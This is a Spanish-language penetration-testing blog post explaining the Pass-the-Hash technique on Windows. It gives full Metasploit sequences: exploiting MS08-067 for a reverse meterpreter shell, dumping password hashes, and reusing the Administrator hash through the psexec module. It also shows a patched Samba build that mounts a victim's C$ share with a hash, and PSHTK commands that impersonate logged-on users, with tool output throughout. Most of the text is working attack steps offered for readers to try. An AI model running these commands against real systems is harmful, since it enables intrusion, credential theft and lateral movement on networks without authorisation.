--------------------------------------------------------------------------------------------------------------
En este artículo, vamos a utilizar el módulo PSEXEC de MetaSploit, el patch para SAMBA de JoMo-kun (Foofus) y el Pass-the-Hash Toolkit "PSHTK" de Hernán Ochoa.
Durante un Pentest, conseguir un password es algo muy valioso, pero por qué realizar ataques de fuerza bruta, o dedicar meses crackeando una contraseña, cuando simplemente podemos utilizar el hash sin crackear de la víctima.
La técnica de Pass-the-Hash ha estado entre nosotros por más de 13 años, siendo publicada originalmente en 1997 por Paul Ashton. Desde entonces aparecieron varias herramientas, con algunas limitaciones superadas en los últimos tiempos, que lograron que estas, también sean más fáciles de utilizar.
La idea de este post, es realizar una pequeña introducción a Pass-the-Hash, para seguir profundizando luego en futuros artículos. A continuación, vamos a ver como obtener los hashes de la víctima con el comando hashdump de meterpreter, y cómo utilizar estos hashes, con el módulo PSEXEC de MetaSploit, el patch para SAMBA de JoMo-kun (Foofus) y el Pass-the-Hash Toolkit "PSHTK" de Hernán Ochoa.
Para quienes quieran conocer más profundamente como funciona esta técnica, les recomiendo leer el paper de Bashar Ewaida publicado en SANS, y ver la presentación de Jose Selvi (pentester.es) que realizó en la FIST de Barcelona.
Obteniendo los Hashes
Hay muchas formas de obtener los hashes de la víctima, pero a continuación lo vamos a hacer explotando una vulnerabilidad con MetaSploit, y luego utilizando el comando "hashdump" de meterpreter:
use windows/smb/ms08_067_netapi set RHOST 192.168.1.37 set PAYLOAD windows/meterpreter/reverse_tcp set LHOST 192.168.1.15 exploit meterpreter > hashdump Administrador:500:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c::: Invitado:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: IUSR_EVILNINJA:1001:4cd3d6f079c529c6139f413c08fb0bc0:1814558a03e2e6be1e896abd343275b2::: IWAM_EVILNINJA:1002:d2d8bbad7184a0fa5c262f913af7c48d:88f10abdecbc1c6d84b9d2d193e01334::: student:1006:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c::: TsInternetUser:1000:889651ab45c9556e39af38e766c662c9:fb46d1badeacd92c1f11cd4a68945f6b::: meterpreter >
Una vez obtenidos los hashes, el paso lógico seria crackearlos con herramientas como John the Ripper, Cain & Abel o Ophcrack, pero en este caso la idea es utilizarlos directamente, para loguearnos al sistema víctima, sin crackear el hash.
Pass-the-Hash con PSEXEC de MetaSploit
El módulo PSEXEC de Metasploit, es similar a la herramienta psexec de Sysinternals, que permite ejecutar comandos remotos en Windows. Solo que en este caso, también nos permite realizar Pass-the-Hash.
Después de cargar el módulo, simplemente configuramos la variable "SMBPass" con el hash de Administrador que obtuvimos previamente.
use windows/smb/psexec set RHOST 192.168.1.37 set PAYLOAD windows/meterpreter/reverse_tcp set LHOST 192.168.1.15 set SMBUser Administrador set SMBPass e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c exploit
El payload que tenemos configurado nos entregará un meterpreter reverso, pero podríamos utilizar cualquier otro payload.
Pass-the-Hash con el patch para SAMBA de JoMo-kun
La idea de los patches de JoMo-kun, es darle a SAMBA la habilidad de utilizar Pass-the-Hash. Existe un patch para la versión 3.3.7 de SAMBA, pero por alguna razón que no tengo ganas de comprender, una vez que esta todo compilado me tira segfaults. Así que lo haremos con la versión 3.0.22 de SAMBA que funciona muy bien:
# Bajamos los dos patch de JoMo-kun y SAMBA 3.0.22 wget http://www.foofus.net/jmk/tools/samba-3.0.22-passhash.patch wget http://www.foofus.net/jmk/tools/samba-3.0.22-add-user.patch wget http://us3.samba.org/samba/ftp/old-versions/samba-3.0.22.tar.gz # Descomprimimos SAMBA y aplicamos los patchs tar xvfz samba-3.0.22.tar.gz patch -p0patch -p0 # Configuramos y compilamos cd samba-3.0.22/source/ ./configure --with-smbmount make
Si no tienen problema en "ensuciar" su distro con este SAMBA viejo patcheado, es recomendable hacer un "make install", de lo contrario van a tener que hacer un par de symlinks para algunos archivos que son llamados al path de instalación.
Una vez que esta todo instalado, exportamos la variable "SMBHASH" con el hash de Administrador que obtuvimos previamente:
Una vez que esta todo instalado, exportamos la variable "SMBHASH" con el hash de Administrador que obtuvimos previamente:
export SMBHASH="e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c"
Luego, entramos al directorio "bin", y ejecutamos el comando "smbmount" para montar el share de la víctima utilizando como password un hash. Cuando "smbmount" pregunta por un "Password:", debemos escribir algo, cualquier cosa, ya que si lo dejamos vacío intentará loguearse como guest.
./smbmount //10.168.0.127/c$ /mnt/victima -o username=administrador Password: HASH PASS: Substituting user supplied NTLM HASH... HASH PASS: Substituting user supplied NTLM HASH... HASH PASS: Substituting user supplied LM HASH...
Ahora, cuando entremos al directorio "/mnt/victima", vamos a encontrar todo el share de la víctima montado en nuestro filesystem.
Pass the Hash con PSHTK de Hernán Ochoa
Sin dudas PSHTK es la más poderosa de todas las herramientas, principalmente porque funciona bajo Windows, y nos va a permitir usar todas las aplicaciones de este sistema nativamente.
PSHTK tiene dos archivos importantes, WHOSTHERE.EXE, que va a listar las sesiones que se loguearon en el sistema, y IAM.EXE, que nos va a permitir impersonar al usuario víctima.
Ambos programas, obtienen la información sobre los hashes de los usuarios que se loguearon, de la librería LSASRV.DLL en memoria. Como la dirección de memoria cambia según el sistema, puede pasar que esta dirección no sea hallada automáticamente, y se la debamos pasar nosotros a través de la opción "-a".
Hernán mantiene en este website, un listado de sistemas con sus respectivas direcciones de memoria. Pero si no esta allí la dirección para el sistema que están usando, como me paso en este caso, deberemos obtener la dirección por nuestra cuenta. Para ello, les recomiendo seguir los pasos del excelente artículo que escribió Jose Selvi en su blog.
Para un Windows XP SP2 en español whosthere -a 753F642C:753F3F1B:7547FC38:7547FC40:7547EC40:7547EE34
Primero listamos los usuarios logueados en el sistema, y vemos que estamos con el usuario "admin":
whosthere.exe -a 753F642C:753F3F1B:7547FC38:7547FC40:7547EC40:7547EE34 (recortado, para mejor visualización) admin:KUNGF52EB87CC7:E52CAC67419A9A224A3B108F3FA6CB6D:8846F7EAEE8FB117AD06BDD830B7586C KUNG-F52EB87CC7$:INICIOMS:AAD3B435B51404EEAAD3B435B51404EE:31D6CFE0D16AE931B73C59D7E0C089C0
Luego, impersonamos al usuario víctima, en este caso "kungfoosion":
iam.exe -a 753F642C:753F3F1B:7547FC38:7547FC40:7547EC40:7547EE34 -h kungfoosion:INICIOMS:E52CAC67419A9A224A3B108F3FA6CB6D:8846F7EAEE8FB117AD06BDD830B7586C IAM v1.4 - by Hernan Ochoa (hochoa@coresecurity.com, hernan@gmail.com) - (c) 2007-2008 Core Security Technologies Parameters: Username: kungfoosion Domainname: INICIOMS LM hash: E52CAC67419A9A224A3B108F3FA6CB6D NT hash: 8846F7EAEE8FB117AD06BDD830B7586C Run: LSASRV.DLL version: 00050001h. A280884h Checking LSASRV.DLL....Ok! using supplied addresses. The current logon credentials were sucessfully changed!
Finalmente, podemos observar que impersonamos exitosamente a ese usuario:
whosthere.exe -a 753F642C:753F3F1B:7547FC38:7547FC40:7547EC40:7547EE34 (recortado, para mejor visualización) kungfoosion:INICIOMS:E52CAC67419A9A224A3B108F3FA6CB6D:8846F7EAEE8FB117AD06BDD830B7586C KUNG-F52EB87CC7$:INICIOMS:AAD3B435B51404EEAAD3B435B51404EE:31D6CFE0D16AE931B73C59D7E0C089C0
Esto es todo amigos, no dejen de probarlo que esta muy bueno!! :)
FUENTE ORIGINALhttp://www.kungfoosion.com
REFERENCIAS:
- Paul Ashton (1997): NT "Pass the Hash" with Modified SMB Client Vulnerability
- Core Security: Pass-The-Hash Toolkit
- HEXALE: Blog de Hernán Ochoa
- pentester.es: Pass-the-hash Toolkit & IDA Pro
- pentester.es: Windows Post-Explotation & Pass-the-Hash
- pentester.es: Técnicas Pass-the-Hash
- foofus.net: JoMo-kun patch para SAMBA
No hay comentarios:
Publicar un comentario